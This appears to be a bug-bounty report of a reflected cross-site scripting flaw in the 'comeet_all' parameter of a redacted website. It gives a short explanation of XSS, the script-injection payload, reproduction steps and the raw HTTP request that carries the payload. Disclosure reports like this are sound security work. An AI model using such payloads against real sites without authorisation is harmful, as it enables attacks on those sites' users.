Reflected Cross Site Scripting
URL:
https://www.redacted.com/?rd&comeet_all=
Endpoint :
comeet_all=
Description:
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
Payload:
“><script>alert(1)</script>
Steps To Reproduce:
1. Goto this URL.
https://www.redacted.com/?rd&comeet_all=all”><script>alert(1)</script>&comeet_cat=js&comeet_pos=html5shiv.js&pagename=thepeople
2.Intercept the request and insert XSS Payload in ” comeet_all ” parameter.
REQUEST :
GET /?rd&comeet_all=all”><script>alert(1)</script>&comeet_cat=js&comeet_pos=html5shiv.js&pagename=thepeople HTTP/1.1
Host: www.redacted.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
3. XSS Executed.
POC: